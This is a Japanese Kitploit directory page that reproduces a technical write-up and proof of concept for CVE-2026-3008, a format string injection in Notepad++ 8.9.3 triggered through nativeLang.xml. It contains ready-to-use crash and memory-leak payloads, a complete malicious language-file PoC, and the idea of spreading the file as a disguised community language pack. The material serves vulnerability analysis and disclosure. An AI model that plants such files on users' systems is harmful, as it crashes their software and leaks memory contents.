Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3008 — CVE-2026-3008の技術的分析と概念実証。Notepad++ 8.9.3におけるnativeLang.xmlを介したフォーマット文字列インジェクションであり、サービス拒否と情報漏えいを可能にします。 | Kitploit
ツール/GitHubGitHub/llgsjsm/cve-2026-3008
脆弱性分析エクスプロイトウェブセキュリティマルウェア分析バイナリ解析
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

CVE-2026-3008の技術的分析と概念実証。Notepad++ 8.9.3におけるnativeLang.xmlを介したフォーマット文字列インジェクションであり、サービス拒否と情報漏えいを可能にします。

リポジトリを見る
4ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-3008 — Notepad++ 8.9.3 の nativeLang.xml を介したフォーマット文字列インジェクション

脆弱性

検索操作が結果を生成すると、sub_1400916C0 は nativeLang.xml からローカライズされた文字列を取得し、それをそのまま wsprintfW のフォーマット文字列として渡すことで、ヒット数ラベルをフォーマットします:

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // ローカライズされた文字列を取得
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: ヒープポインタ
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 がフォーマット文字列

この文字列は nativeLang.xml の <find-result-hits> 属性に由来し、データフローのどの時点でも検証は行われません:

root@kitploit:~
nativeLang.xml
  → TinyXML パーサー          (XML 属性を読み取り、コンテンツの検証なし)
  → NativeLangSpeaker       (UTF-8 → UTF-16 変換、検証なし)
  → sub_140099E60           ($INT_REPLACE$ 置換 — フォーマット指定子はそのまま残る)
  → wsprintfW(buf, v38)     (v38 がフォーマット文字列引数として使用され、データとしては扱われない)

wsprintfW は引数が2つだけで呼び出されます — 可変長のデータ引数はありません。v38 内のフォーマット指定子は、x64 呼び出し規約の引数スロット (R8、R9、スタック) から値を読み取りますが、そこにはレジスタの残存ガベージが含まれています。


影響を受けるコンポーネント

フィールド値
関数sub_1400916C0 (検索結果パネル初期化子)
シンクアドレス0x140091E6D
トリガー結果を生成する任意の検索 (すべて検索、ファイル内検索、すべてマーク、すべて置換)

sub_1400916C0 は FindResults WndProc (sub_140089BF0) 内の4つの箇所から呼び出されます:

アドレストリガー
0x14008B63Bファイル内検索
0x14008B72D現在のドキュメント / すべてのドキュメントをすべて検索
0x14008B97Eすべて置換
0x14008B9FEすべてマーク

影響

クラッシュ — %s (DoS)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

各 %s は、ジャンクなレジスタ値またはスタック値を WCHAR* ポインタとして解釈します。最初の無効なアドレスが即座にアクセス違反 (STATUS_ACCESS_VIOLATION、0xC0000005) を引き起こします。悪意のあるファイルが削除されるまで、Notepad++ は以降のすべての検索でクラッシュします — 信頼性の高い、一発で決まる DoS です。

情報漏洩 — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

スタックとレジスタの内容が DWORD 値として読み取られ、16進数としてフォーマットされ、検索結果パネルのタブに表示されます。ライブテストで観測された出力:

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

5852bb18 や 7b1052e0 などの値は、切り詰められた64ビットポインタの断片です。

悪用の上限

wsprintfW (user32.dll) は %n をサポートしていません — 書き込み先を指定するプリミティブは存在しません。ハードコードされた1024文字の出力制限は、宛先バッファのサイズと正確に一致するため、ヒープバッファオーバーフローは発生しません。この脆弱性は DoS + 情報漏洩 として確認されています。このフォーマット文字列だけではコード実行は達成できません。


攻撃ベクトル

nativeLang.xml はデフォルトでは存在しません — 英語版のインストールは影響を受けません。ユーザーが 設定 → 環境設定 → 一般 → ローカライゼーション で英語以外の言語を選択すると、Notepad++ は対応するファイルを次の場所に書き込みます:

エディションパス
インストーラー版%APPDATA%\Notepad++\nativeLang.xml
ポータブル版<npp_directory>\nativeLang.xml

同梱されている94個のローカライゼーションファイルのうち、43個に <find-result-hits> 要素が含まれています。これらの言語のユーザーは、nativeLang.xml が改ざんされた場合に脆弱になります — たとえば、フォーラムやダウンロードサイトを通じて配布される悪意のあるコミュニティ言語パックを介してです。攻撃者は他のすべての文字列に正規の翻訳を含めることができるため、ファイルは正常に見えます。


概念実証

次のファイルを <npp_directory>\nativeLang.xml (ポータブル版) または %APPDATA%\Notepad++\nativeLang.xml (インストーラー版) に配置し、Notepad++ を開いて結果を生成する任意の検索を実行します (Ctrl+F → 現在のドキュメントをすべて検索)。

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

結果: Notepad++ は wsprintfW 内のアクセス違反により即座にクラッシュします。

追加のペイロードのバリエーションは payloads/ ディレクトリにあります。

ツールをダウンロード